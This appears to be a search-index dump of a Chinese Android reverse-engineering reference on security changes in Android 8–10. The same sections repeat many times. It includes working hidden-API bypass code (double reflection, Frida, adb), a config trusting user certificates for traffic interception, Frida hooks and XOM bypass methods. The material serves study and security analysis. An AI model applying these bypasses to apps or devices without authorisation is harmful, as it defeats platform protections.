后台定位更新频率降低 对逆向影响： 需要持久化运行的 hook 框架（如 Frida gadget）可能被后台限制影响 需要将服务声明为前台服务或使用 Work Manager Treble 架构下的 SO 查找技巧 # 查找特定 SO 在哪个分区 adb shell find /system /vendor /product /apex -name \"libtarget.so\" 2\u003e/dev/null # 查看 SO 的链接依赖 adb shell readelf -d /vendor/lib64/libtarget.so | grep NEEDED # 查看 vendor namespace 中可见的库 adb shell cat /system/etc/ld.config.txt | grep -A 10 \"\\[vendor\\]\" # 列出 HIDL 服务 adb shell lshal ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#342-vendorsystem-分区分离"},{"categories":null,"collections":null,"content":"3.4 Android 8.0-8.1 (Oreo, API 26-27) 3.4.1 Project Treble (HAL 接口标准化) Project Treble 是 Android 架构的一次重大重构，将 vendor（硬件相关）实现与 Android 框架分离： ┌──────────────────────────────────────────────┐ │ Android 8.0+ 架构 │ ├──────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ Framework │ │ Apps │ ← system 分区 │ │ └────┬─────┘ └──────────┘ │ │ │ HIDL │ │ ┌────┴─────┐ │ │ │ Vendor │ ← vendor 分区 │ │ │ HAL │ │ │ └──────────┘ │ │ │ └──────────────────────────────────────────────┘ 3.4.2 Vendor/System 分区分离 SO 库被严格按照分区组织： # System SO 路径 /system/lib64/ # 框架层 SO /system/lib64/hw/ # System HAL 库 # Vendor SO 路径 /vendor/lib64/ # 厂商 SO /vendor/lib64/hw/ # Vendor HAL 库 # 查看 SO 所在分区 adb shell ls -la /system/lib64/ | head -20 adb shell ls -la /vendor/lib64/ | head -20 3.4.3 HIDL (HAL Interface Definition Language) HIDL 定义了 Framework 与 Vendor HAL 之间的稳定接口，使用 Binder IPC 进行跨进程通信。 3.4.4 更严格的后台限制 Android 8.0 对后台服务施加了严格限制： 后台服务在一定时间后被系统终止 隐式广播限制 后台定位更新频率降低 对逆向影响： 需要持久化运行的 hook 框架（如 Frida gadget）可能被后台限制影响 需要将服务声明为前台服务或使用 Work Manager Treble 架构下的 SO 查找技巧 # 查找特定 SO 在哪个分区 adb shell find /system /vendor /product /apex -name \"libtarget.so\" 2\u003e/dev/null # 查看 SO 的链接依赖 adb shell readelf -d /vendor/lib64/libtarget.so | grep NEEDED # 查看 vendor namespace 中可见的库 adb shell cat /system/etc/ld.config.txt | grep -A 10 \"\\[vendor\\]\" # 列出 HIDL 服务 adb shell lshal ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#343-hidl-hal-interface-definition-language"},{"categories":null,"collections":null,"content":"3.4 Android 8.0-8.1 (Oreo, API 26-27) 3.4.1 Project Treble (HAL 接口标准化) Project Treble 是 Android 架构的一次重大重构，将 vendor（硬件相关）实现与 Android 框架分离： ┌──────────────────────────────────────────────┐ │ Android 8.0+ 架构 │ ├──────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ Framework │ │ Apps │ ← system 分区 │ │ └────┬─────┘ └──────────┘ │ │ │ HIDL │ │ ┌────┴─────┐ │ │ │ Vendor │ ← vendor 分区 │ │ │ HAL │ │ │ └──────────┘ │ │ │ └──────────────────────────────────────────────┘ 3.4.2 Vendor/System 分区分离 SO 库被严格按照分区组织： # System SO 路径 /system/lib64/ # 框架层 SO /system/lib64/hw/ # System HAL 库 # Vendor SO 路径 /vendor/lib64/ # 厂商 SO /vendor/lib64/hw/ # Vendor HAL 库 # 查看 SO 所在分区 adb shell ls -la /system/lib64/ | head -20 adb shell ls -la /vendor/lib64/ | head -20 3.4.3 HIDL (HAL Interface Definition Language) HIDL 定义了 Framework 与 Vendor HAL 之间的稳定接口，使用 Binder IPC 进行跨进程通信。 3.4.4 更严格的后台限制 Android 8.0 对后台服务施加了严格限制： 后台服务在一定时间后被系统终止 隐式广播限制 后台定位更新频率降低 对逆向影响： 需要持久化运行的 hook 框架（如 Frida gadget）可能被后台限制影响 需要将服务声明为前台服务或使用 Work Manager Treble 架构下的 SO 查找技巧 # 查找特定 SO 在哪个分区 adb shell find /system /vendor /product /apex -name \"libtarget.so\" 2\u003e/dev/null # 查看 SO 的链接依赖 adb shell readelf -d /vendor/lib64/libtarget.so | grep NEEDED # 查看 vendor namespace 中可见的库 adb shell cat /system/etc/ld.config.txt | grep -A 10 \"\\[vendor\\]\" # 列出 HIDL 服务 adb shell lshal ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#344-更严格的后台限制"},{"categories":null,"collections":null,"content":"3.4 Android 8.0-8.1 (Oreo, API 26-27) 3.4.1 Project Treble (HAL 接口标准化) Project Treble 是 Android 架构的一次重大重构，将 vendor（硬件相关）实现与 Android 框架分离： ┌──────────────────────────────────────────────┐ │ Android 8.0+ 架构 │ ├──────────────────────────────────────────────┤ │ │ │ ┌──────────┐ ┌──────────┐ │ │ │ Framework │ │ Apps │ ← system 分区 │ │ └────┬─────┘ └──────────┘ │ │ │ HIDL │ │ ┌────┴─────┐ │ │ │ Vendor │ ← vendor 分区 │ │ │ HAL │ │ │ └──────────┘ │ │ │ └──────────────────────────────────────────────┘ 3.4.2 Vendor/System 分区分离 SO 库被严格按照分区组织： # System SO 路径 /system/lib64/ # 框架层 SO /system/lib64/hw/ # System HAL 库 # Vendor SO 路径 /vendor/lib64/ # 厂商 SO /vendor/lib64/hw/ # Vendor HAL 库 # 查看 SO 所在分区 adb shell ls -la /system/lib64/ | head -20 adb shell ls -la /vendor/lib64/ | head -20 3.4.3 HIDL (HAL Interface Definition Language) HIDL 定义了 Framework 与 Vendor HAL 之间的稳定接口，使用 Binder IPC 进行跨进程通信。 3.4.4 更严格的后台限制 Android 8.0 对后台服务施加了严格限制： 后台服务在一定时间后被系统终止 隐式广播限制 后台定位更新频率降低 对逆向影响： 需要持久化运行的 hook 框架（如 Frida gadget）可能被后台限制影响 需要将服务声明为前台服务或使用 Work Manager Treble 架构下的 SO 查找技巧 # 查找特定 SO 在哪个分区 adb shell find /system /vendor /product /apex -name \"libtarget.so\" 2\u003e/dev/null # 查看 SO 的链接依赖 adb shell readelf -d /vendor/lib64/libtarget.so | grep NEEDED # 查看 vendor namespace 中可见的库 adb shell cat /system/etc/ld.config.txt | grep -A 10 \"\\[vendor\\]\" # 列出 HIDL 服务 adb shell lshal ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:4","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#treble-架构下的-so-查找技巧"},{"categories":null,"collections":null,"content":"3.5 Android 9.0 (Pie, API 28) Android 9.0 对逆向工程引入了几项影响深远的限制。 3.5.1 非 SDK 接口限制 (Hidden API Restrictions) 这是对 Java 层逆向影响最大的变化之一。Android 9.0 开始限制应用通过反射、JNI 等方式访问 SDK 中未公开的内部 API（标记为 @hide 的 API）。 限制分级： 列表 说明 限制程度 whitelist 公开 SDK API 无限制 light-greylist 宽松灰名单 可用但有警告 dark-greylist 严格灰名单 targetSdk \u003e= 28 被阻止 blacklist 黑名单 完全阻止 绕过方法一：双重反射 // 通过双重反射绕过 Hidden API 限制 // 原理: 系统检查的是\"调用者\"的身份, 双重反射让\"调用者\"变成系统自己 Method forName = Class.class.getDeclaredMethod(\"forName\", String.class); Method getDeclaredMethod = Class.class.getDeclaredMethod( \"getDeclaredMethod\", String.class, Class[].class); // 通过双重反射获取 VMRuntime Class\u003c?\u003e vmRuntime = (Class\u003c?\u003e) forName.invoke(null, \"dalvik.system.VMRuntime\"); Method setHiddenApiExemptions = (Method) getDeclaredMethod.invoke( vmRuntime, \"setHiddenApiExemptions\", new Class[]{String[].class}); // 获取 VMRuntime 实例并设置豁免 Method getRuntime = (Method) getDeclaredMethod.invoke( vmRuntime, \"getRuntime\", new Class[0]); Object runtime = getRuntime.invoke(null); // 豁免所有隐藏 API（传入 \"L\" 表示所有以 L 开头的签名，即所有类） setHiddenApiExemptions.invoke(runtime, new Object[]{new String[]{\"L\"}}); 绕过方法二：Frida 运行时绕过 // Frida 绕过 Hidden API 限制 Java.perform(function() { var VMRuntime = Java.use('dalvik.system.VMRuntime'); var runtime = VMRuntime.getRuntime(); runtime.setHiddenApiExemptions(['L']); console.log('[*] Hidden API restrictions bypassed'); }); 绕过方法三：通过 adb 设置 # 开发/测试环境下可直接通过 adb 关闭限制 adb shell settings put global hidden_api_policy 1 # 0 = 不检测 (disable) # 1 = 仅警告 (just warn) # 2 = 不允许 dark greylist # 3 = 不允许所有非 SDK API 3.5.2 TLS 默认强制 Android 9.0 默认禁止明文 HTTP 流量 (cleartext traffic)。应用必须使用 HTTPS，除非在网络安全配置中显式允许明文。 \u003c!-- 允许明文流量（逆向测试环境配置） --\u003e \u003cnetwork-security-config\u003e \u003cbase-config cleartextTrafficPermitted=\"true\"\u003e \u003ctrust-anchors\u003e \u003ccertificates src=\"system\"/\u003e \u003ccertificates src=\"user\"/\u003e \u003c/trust-anchors\u003e \u003c/base-config\u003e \u003c/network-security-config\u003e 3.5.3 BiometricPrompt API Android 9.0 引入统一的生物识别认证 API BiometricPrompt，替代了 Android 6.0 的 FingerprintManager。 3.5.4 DNS over TLS 系统级 DNS over TLS 支持（Private DNS），使得 DNS 查询也被加密，影响 DNS 层面的流量拦截。 3.5.5 ASLR 改进 Android 9.0 改进了地址空间布局随机化 (ASLR)，增加了代码和数据段的随机化程度。 对逆向影响： 每次进程重启后，库的加载基址都会变化 不能依赖固定地址进行 hook，需要动态计算偏移 使用 Frida 的 Module.findBaseAddress() 获取实际加载地址 // Frida 中动态获取 SO 基址 var base = Module.findBaseAddress('libtarget.so'); console.log('[*] libtarget.so base: ' + base); // 基于偏移 hook var targetFunc = base.add(0x1234); Interceptor.attach(targetFunc, { onEnter: function(args) { console.log('[*] targetFunc called'); } }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:5","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#35-android-90-pie-api-28"},{"categories":null,"collections":null,"content":"3.5 Android 9.0 (Pie, API 28) Android 9.0 对逆向工程引入了几项影响深远的限制。 3.5.1 非 SDK 接口限制 (Hidden API Restrictions) 这是对 Java 层逆向影响最大的变化之一。Android 9.0 开始限制应用通过反射、JNI 等方式访问 SDK 中未公开的内部 API（标记为 @hide 的 API）。 限制分级： 列表 说明 限制程度 whitelist 公开 SDK API 无限制 light-greylist 宽松灰名单 可用但有警告 dark-greylist 严格灰名单 targetSdk \u003e= 28 被阻止 blacklist 黑名单 完全阻止 绕过方法一：双重反射 // 通过双重反射绕过 Hidden API 限制 // 原理: 系统检查的是\"调用者\"的身份, 双重反射让\"调用者\"变成系统自己 Method forName = Class.class.getDeclaredMethod(\"forName\", String.class); Method getDeclaredMethod = Class.class.getDeclaredMethod( \"getDeclaredMethod\", String.class, Class[].class); // 通过双重反射获取 VMRuntime Class\u003c?\u003e vmRuntime = (Class\u003c?\u003e) forName.invoke(null, \"dalvik.system.VMRuntime\"); Method setHiddenApiExemptions = (Method) getDeclaredMethod.invoke( vmRuntime, \"setHiddenApiExemptions\", new Class[]{String[].class}); // 获取 VMRuntime 实例并设置豁免 Method getRuntime = (Method) getDeclaredMethod.invoke( vmRuntime, \"getRuntime\", new Class[0]); Object runtime = getRuntime.invoke(null); // 豁免所有隐藏 API（传入 \"L\" 表示所有以 L 开头的签名，即所有类） setHiddenApiExemptions.invoke(runtime, new Object[]{new String[]{\"L\"}}); 绕过方法二：Frida 运行时绕过 // Frida 绕过 Hidden API 限制 Java.perform(function() { var VMRuntime = Java.use('dalvik.system.VMRuntime'); var runtime = VMRuntime.getRuntime(); runtime.setHiddenApiExemptions(['L']); console.log('[*] Hidden API restrictions bypassed'); }); 绕过方法三：通过 adb 设置 # 开发/测试环境下可直接通过 adb 关闭限制 adb shell settings put global hidden_api_policy 1 # 0 = 不检测 (disable) # 1 = 仅警告 (just warn) # 2 = 不允许 dark greylist # 3 = 不允许所有非 SDK API 3.5.2 TLS 默认强制 Android 9.0 默认禁止明文 HTTP 流量 (cleartext traffic)。应用必须使用 HTTPS，除非在网络安全配置中显式允许明文。 3.5.3 BiometricPrompt API Android 9.0 引入统一的生物识别认证 API BiometricPrompt，替代了 Android 6.0 的 FingerprintManager。 3.5.4 DNS over TLS 系统级 DNS over TLS 支持（Private DNS），使得 DNS 查询也被加密，影响 DNS 层面的流量拦截。 3.5.5 ASLR 改进 Android 9.0 改进了地址空间布局随机化 (ASLR)，增加了代码和数据段的随机化程度。 对逆向影响： 每次进程重启后，库的加载基址都会变化 不能依赖固定地址进行 hook，需要动态计算偏移 使用 Frida 的 Module.findBaseAddress() 获取实际加载地址 // Frida 中动态获取 SO 基址 var base = Module.findBaseAddress('libtarget.so'); console.log('[*] libtarget.so base: ' + base); // 基于偏移 hook var targetFunc = base.add(0x1234); Interceptor.attach(targetFunc, { onEnter: function(args) { console.log('[*] targetFunc called'); } }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:5","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#351-非-sdk-接口限制-hidden-api-restrictions"},{"categories":null,"collections":null,"content":"3.5 Android 9.0 (Pie, API 28) Android 9.0 对逆向工程引入了几项影响深远的限制。 3.5.1 非 SDK 接口限制 (Hidden API Restrictions) 这是对 Java 层逆向影响最大的变化之一。Android 9.0 开始限制应用通过反射、JNI 等方式访问 SDK 中未公开的内部 API（标记为 @hide 的 API）。 限制分级： 列表 说明 限制程度 whitelist 公开 SDK API 无限制 light-greylist 宽松灰名单 可用但有警告 dark-greylist 严格灰名单 targetSdk \u003e= 28 被阻止 blacklist 黑名单 完全阻止 绕过方法一：双重反射 // 通过双重反射绕过 Hidden API 限制 // 原理: 系统检查的是\"调用者\"的身份, 双重反射让\"调用者\"变成系统自己 Method forName = Class.class.getDeclaredMethod(\"forName\", String.class); Method getDeclaredMethod = Class.class.getDeclaredMethod( \"getDeclaredMethod\", String.class, Class[].class); // 通过双重反射获取 VMRuntime Class\u003c?\u003e vmRuntime = (Class\u003c?\u003e) forName.invoke(null, \"dalvik.system.VMRuntime\"); Method setHiddenApiExemptions = (Method) getDeclaredMethod.invoke( vmRuntime, \"setHiddenApiExemptions\", new Class[]{String[].class}); // 获取 VMRuntime 实例并设置豁免 Method getRuntime = (Method) getDeclaredMethod.invoke( vmRuntime, \"getRuntime\", new Class[0]); Object runtime = getRuntime.invoke(null); // 豁免所有隐藏 API（传入 \"L\" 表示所有以 L 开头的签名，即所有类） setHiddenApiExemptions.invoke(runtime, new Object[]{new String[]{\"L\"}}); 绕过方法二：Frida 运行时绕过 // Frida 绕过 Hidden API 限制 Java.perform(function() { var VMRuntime = Java.use('dalvik.system.VMRuntime'); var runtime = VMRuntime.getRuntime(); runtime.setHiddenApiExemptions(['L']); console.log('[*] Hidden API restrictions bypassed'); }); 绕过方法三：通过 adb 设置 # 开发/测试环境下可直接通过 adb 关闭限制 adb shell settings put global hidden_api_policy 1 # 0 = 不检测 (disable) # 1 = 仅警告 (just warn) # 2 = 不允许 dark greylist # 3 = 不允许所有非 SDK API 3.5.2 TLS 默认强制 Android 9.0 默认禁止明文 HTTP 流量 (cleartext traffic)。应用必须使用 HTTPS，除非在网络安全配置中显式允许明文。 3.5.3 BiometricPrompt API Android 9.0 引入统一的生物识别认证 API BiometricPrompt，替代了 Android 6.0 的 FingerprintManager。 3.5.4 DNS over TLS 系统级 DNS over TLS 支持（Private DNS），使得 DNS 查询也被加密，影响 DNS 层面的流量拦截。 3.5.5 ASLR 改进 Android 9.0 改进了地址空间布局随机化 (ASLR)，增加了代码和数据段的随机化程度。 对逆向影响： 每次进程重启后，库的加载基址都会变化 不能依赖固定地址进行 hook，需要动态计算偏移 使用 Frida 的 Module.findBaseAddress() 获取实际加载地址 // Frida 中动态获取 SO 基址 var base = Module.findBaseAddress('libtarget.so'); console.log('[*] libtarget.so base: ' + base); // 基于偏移 hook var targetFunc = base.add(0x1234); Interceptor.attach(targetFunc, { onEnter: function(args) { console.log('[*] targetFunc called'); } }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:5","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#352-tls-默认强制"},{"categories":null,"collections":null,"content":"3.5 Android 9.0 (Pie, API 28) Android 9.0 对逆向工程引入了几项影响深远的限制。 3.5.1 非 SDK 接口限制 (Hidden API Restrictions) 这是对 Java 层逆向影响最大的变化之一。Android 9.0 开始限制应用通过反射、JNI 等方式访问 SDK 中未公开的内部 API（标记为 @hide 的 API）。 限制分级： 列表 说明 限制程度 whitelist 公开 SDK API 无限制 light-greylist 宽松灰名单 可用但有警告 dark-greylist 严格灰名单 targetSdk \u003e= 28 被阻止 blacklist 黑名单 完全阻止 绕过方法一：双重反射 // 通过双重反射绕过 Hidden API 限制 // 原理: 系统检查的是\"调用者\"的身份, 双重反射让\"调用者\"变成系统自己 Method forName = Class.class.getDeclaredMethod(\"forName\", String.class); Method getDeclaredMethod = Class.class.getDeclaredMethod( \"getDeclaredMethod\", String.class, Class[].class); // 通过双重反射获取 VMRuntime Class\u003c?\u003e vmRuntime = (Class\u003c?\u003e) forName.invoke(null, \"dalvik.system.VMRuntime\"); Method setHiddenApiExemptions = (Method) getDeclaredMethod.invoke( vmRuntime, \"setHiddenApiExemptions\", new Class[]{String[].class}); // 获取 VMRuntime 实例并设置豁免 Method getRuntime = (Method) getDeclaredMethod.invoke( vmRuntime, \"getRuntime\", new Class[0]); Object runtime = getRuntime.invoke(null); // 豁免所有隐藏 API（传入 \"L\" 表示所有以 L 开头的签名，即所有类） setHiddenApiExemptions.invoke(runtime, new Object[]{new String[]{\"L\"}}); 绕过方法二：Frida 运行时绕过 // Frida 绕过 Hidden API 限制 Java.perform(function() { var VMRuntime = Java.use('dalvik.system.VMRuntime'); var runtime = VMRuntime.getRuntime(); runtime.setHiddenApiExemptions(['L']); console.log('[*] Hidden API restrictions bypassed'); }); 绕过方法三：通过 adb 设置 # 开发/测试环境下可直接通过 adb 关闭限制 adb shell settings put global hidden_api_policy 1 # 0 = 不检测 (disable) # 1 = 仅警告 (just warn) # 2 = 不允许 dark greylist # 3 = 不允许所有非 SDK API 3.5.2 TLS 默认强制 Android 9.0 默认禁止明文 HTTP 流量 (cleartext traffic)。应用必须使用 HTTPS，除非在网络安全配置中显式允许明文。 3.5.3 BiometricPrompt API Android 9.0 引入统一的生物识别认证 API BiometricPrompt，替代了 Android 6.0 的 FingerprintManager。 3.5.4 DNS over TLS 系统级 DNS over TLS 支持（Private DNS），使得 DNS 查询也被加密，影响 DNS 层面的流量拦截。 3.5.5 ASLR 改进 Android 9.0 改进了地址空间布局随机化 (ASLR)，增加了代码和数据段的随机化程度。 对逆向影响： 每次进程重启后，库的加载基址都会变化 不能依赖固定地址进行 hook，需要动态计算偏移 使用 Frida 的 Module.findBaseAddress() 获取实际加载地址 // Frida 中动态获取 SO 基址 var base = Module.findBaseAddress('libtarget.so'); console.log('[*] libtarget.so base: ' + base); // 基于偏移 hook var targetFunc = base.add(0x1234); Interceptor.attach(targetFunc, { onEnter: function(args) { console.log('[*] targetFunc called'); } }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:5","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#353-biometricprompt-api"},{"categories":null,"collections":null,"content":"3.5 Android 9.0 (Pie, API 28) Android 9.0 对逆向工程引入了几项影响深远的限制。 3.5.1 非 SDK 接口限制 (Hidden API Restrictions) 这是对 Java 层逆向影响最大的变化之一。Android 9.0 开始限制应用通过反射、JNI 等方式访问 SDK 中未公开的内部 API（标记为 @hide 的 API）。 限制分级： 列表 说明 限制程度 whitelist 公开 SDK API 无限制 light-greylist 宽松灰名单 可用但有警告 dark-greylist 严格灰名单 targetSdk \u003e= 28 被阻止 blacklist 黑名单 完全阻止 绕过方法一：双重反射 // 通过双重反射绕过 Hidden API 限制 // 原理: 系统检查的是\"调用者\"的身份, 双重反射让\"调用者\"变成系统自己 Method forName = Class.class.getDeclaredMethod(\"forName\", String.class); Method getDeclaredMethod = Class.class.getDeclaredMethod( \"getDeclaredMethod\", String.class, Class[].class); // 通过双重反射获取 VMRuntime Class\u003c?\u003e vmRuntime = (Class\u003c?\u003e) forName.invoke(null, \"dalvik.system.VMRuntime\"); Method setHiddenApiExemptions = (Method) getDeclaredMethod.invoke( vmRuntime, \"setHiddenApiExemptions\", new Class[]{String[].class}); // 获取 VMRuntime 实例并设置豁免 Method getRuntime = (Method) getDeclaredMethod.invoke( vmRuntime, \"getRuntime\", new Class[0]); Object runtime = getRuntime.invoke(null); // 豁免所有隐藏 API（传入 \"L\" 表示所有以 L 开头的签名，即所有类） setHiddenApiExemptions.invoke(runtime, new Object[]{new String[]{\"L\"}}); 绕过方法二：Frida 运行时绕过 // Frida 绕过 Hidden API 限制 Java.perform(function() { var VMRuntime = Java.use('dalvik.system.VMRuntime'); var runtime = VMRuntime.getRuntime(); runtime.setHiddenApiExemptions(['L']); console.log('[*] Hidden API restrictions bypassed'); }); 绕过方法三：通过 adb 设置 # 开发/测试环境下可直接通过 adb 关闭限制 adb shell settings put global hidden_api_policy 1 # 0 = 不检测 (disable) # 1 = 仅警告 (just warn) # 2 = 不允许 dark greylist # 3 = 不允许所有非 SDK API 3.5.2 TLS 默认强制 Android 9.0 默认禁止明文 HTTP 流量 (cleartext traffic)。应用必须使用 HTTPS，除非在网络安全配置中显式允许明文。 3.5.3 BiometricPrompt API Android 9.0 引入统一的生物识别认证 API BiometricPrompt，替代了 Android 6.0 的 FingerprintManager。 3.5.4 DNS over TLS 系统级 DNS over TLS 支持（Private DNS），使得 DNS 查询也被加密，影响 DNS 层面的流量拦截。 3.5.5 ASLR 改进 Android 9.0 改进了地址空间布局随机化 (ASLR)，增加了代码和数据段的随机化程度。 对逆向影响： 每次进程重启后，库的加载基址都会变化 不能依赖固定地址进行 hook，需要动态计算偏移 使用 Frida 的 Module.findBaseAddress() 获取实际加载地址 // Frida 中动态获取 SO 基址 var base = Module.findBaseAddress('libtarget.so'); console.log('[*] libtarget.so base: ' + base); // 基于偏移 hook var targetFunc = base.add(0x1234); Interceptor.attach(targetFunc, { onEnter: function(args) { console.log('[*] targetFunc called'); } }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:5","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#354-dns-over-tls"},{"categories":null,"collections":null,"content":"3.5 Android 9.0 (Pie, API 28) Android 9.0 对逆向工程引入了几项影响深远的限制。 3.5.1 非 SDK 接口限制 (Hidden API Restrictions) 这是对 Java 层逆向影响最大的变化之一。Android 9.0 开始限制应用通过反射、JNI 等方式访问 SDK 中未公开的内部 API（标记为 @hide 的 API）。 限制分级： 列表 说明 限制程度 whitelist 公开 SDK API 无限制 light-greylist 宽松灰名单 可用但有警告 dark-greylist 严格灰名单 targetSdk \u003e= 28 被阻止 blacklist 黑名单 完全阻止 绕过方法一：双重反射 // 通过双重反射绕过 Hidden API 限制 // 原理: 系统检查的是\"调用者\"的身份, 双重反射让\"调用者\"变成系统自己 Method forName = Class.class.getDeclaredMethod(\"forName\", String.class); Method getDeclaredMethod = Class.class.getDeclaredMethod( \"getDeclaredMethod\", String.class, Class[].class); // 通过双重反射获取 VMRuntime Class\u003c?\u003e vmRuntime = (Class\u003c?\u003e) forName.invoke(null, \"dalvik.system.VMRuntime\"); Method setHiddenApiExemptions = (Method) getDeclaredMethod.invoke( vmRuntime, \"setHiddenApiExemptions\", new Class[]{String[].class}); // 获取 VMRuntime 实例并设置豁免 Method getRuntime = (Method) getDeclaredMethod.invoke( vmRuntime, \"getRuntime\", new Class[0]); Object runtime = getRuntime.invoke(null); // 豁免所有隐藏 API（传入 \"L\" 表示所有以 L 开头的签名，即所有类） setHiddenApiExemptions.invoke(runtime, new Object[]{new String[]{\"L\"}}); 绕过方法二：Frida 运行时绕过 // Frida 绕过 Hidden API 限制 Java.perform(function() { var VMRuntime = Java.use('dalvik.system.VMRuntime'); var runtime = VMRuntime.getRuntime(); runtime.setHiddenApiExemptions(['L']); console.log('[*] Hidden API restrictions bypassed'); }); 绕过方法三：通过 adb 设置 # 开发/测试环境下可直接通过 adb 关闭限制 adb shell settings put global hidden_api_policy 1 # 0 = 不检测 (disable) # 1 = 仅警告 (just warn) # 2 = 不允许 dark greylist # 3 = 不允许所有非 SDK API 3.5.2 TLS 默认强制 Android 9.0 默认禁止明文 HTTP 流量 (cleartext traffic)。应用必须使用 HTTPS，除非在网络安全配置中显式允许明文。 3.5.3 BiometricPrompt API Android 9.0 引入统一的生物识别认证 API BiometricPrompt，替代了 Android 6.0 的 FingerprintManager。 3.5.4 DNS over TLS 系统级 DNS over TLS 支持（Private DNS），使得 DNS 查询也被加密，影响 DNS 层面的流量拦截。 3.5.5 ASLR 改进 Android 9.0 改进了地址空间布局随机化 (ASLR)，增加了代码和数据段的随机化程度。 对逆向影响： 每次进程重启后，库的加载基址都会变化 不能依赖固定地址进行 hook，需要动态计算偏移 使用 Frida 的 Module.findBaseAddress() 获取实际加载地址 // Frida 中动态获取 SO 基址 var base = Module.findBaseAddress('libtarget.so'); console.log('[*] libtarget.so base: ' + base); // 基于偏移 hook var targetFunc = base.add(0x1234); Interceptor.attach(targetFunc, { onEnter: function(args) { console.log('[*] targetFunc called'); } }); ","date":"2025-04-02","objectID":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/:3:5","tags":["Android","安全","逆向分析","版本差异","基础知识"],"title":"Android 版本安全特性演进与逆向影响","uri":"/reverse_engineering/android/04-reference/foundations/android_version_security_evolution/#355-aslr-改进"},{"categories":null,"collections":null,"content":"3.6 Android 10 (Q, API 29) Android 10 在原生安全层面引入了多项重要变化。 3.6.1 Scoped Storage (分区存储) 应用只能访问自己的私有目录和特定的公共媒体文件，不再能自由访问外部存储。 对逆向影响： 文件 dump 路径受限，不能随意写入 /sdcard/ 目录 Frida 脚本中保存文件需要使用应用的私有目录 // Frida 在 Scoped Storage 环境下保存文件 Java.perform(function() { var context = Java.use('android.app.ActivityThread') .currentApplication().getApplicationContext(); var filesDir = context.getFilesDir().getAbsolutePath(); console.log('[*] 可写目录: ' + filesDir); // 文件操作使用 filesDir 作为基础路径 }); 3.6.2 Execute-Only Memory (XOM) Android 10 为 native 代码引入了仅执行内存 (XOM) 机制。.text 段被标记为仅执行，不可读取。 核心影响：传统的内存 dump 技术无法直接读取代码段。 # XOM 内存权限对比 传统 (Android 9 及更早): .text 段权限: r-x (可读可执行) 可以直接通过 /proc/pid/mem 读取代码 Android 10+ (XOM 启用): .text 段权限: --x (仅执行) 通过 /proc/pid/mem 读取 .text 段返回全零 XOM 绕过技术： # 绕过方法 1: 使用 ptrace (Frida 默认使用此方式) # ptrace 系统调用不受 XOM 限制 # Frida 通过 ptrace attach 到目标进程后可以正常读取代码段 # 绕过方法 2: 通过 adb 禁用 XOM (需要 root) # adb shell setprop debug.arm64.xom false # 部分设备可能不支持此属性 # 绕过方法 3: 修改 ELF phdr 移除 XOM 标志 # 将 PF_X (仅执行) 改为 PF_R|PF_X (可读可执行) # 需要修改 SO 文件的 Program Header # 绕过方法 4: 利用 mmap 重新映射 # 在 Frida 脚本中重新映射代码段为可读 // Frida 检查 XOM 状态 function checkXOM(moduleName) { var module = Process.findModuleByName(moduleName); if (module) { Process.enumerateRanges('--x').forEach(function(range) { if (range.base.compare(module.base) \u003e= 0 \u0026\u0026 range.base.compare(module.base.add(module.size)) \u003c 0) { console.log('[*] XOM 区域: ' + range.base + ' - ' + range.base.add(range.size) + ' 权限: ' + range.protection); } }); } } // 通过 Frida 读取 XOM 保护的代码段 function readXOMCode(address, size) { // Frida 通过 ptrace 可以绕过 XOM 限制 try { var buf = Memory.readByteArray(address, size); console.log('[*] 成功读取 ' + size + ' 字节'); return buf; } catch (e) { console.log('[-] 读取失败: ' + e); return null; } } 3.6.3 TLS 1.3 默认启用 Android 10 默认启用 TLS 1.3，提供更快的握手速度和更强的安全性。 对逆向影响：TLS 1.3 加密了更多的握手信息（如证书），使被动嗅探更加困难。但使用中间人代理（如 mitmproxy）的主动拦截仍然有效。 3.6.4 MAC 地址随机化 Android 10 对每个 Wi-Fi 网络使用随机 MAC 地址，防止跨网络跟踪设备。 对逆向影响： 基于 MAC 地址的设备指纹识别失效 分析设备指纹时需要关注应用是否使用了其他持久化标识符 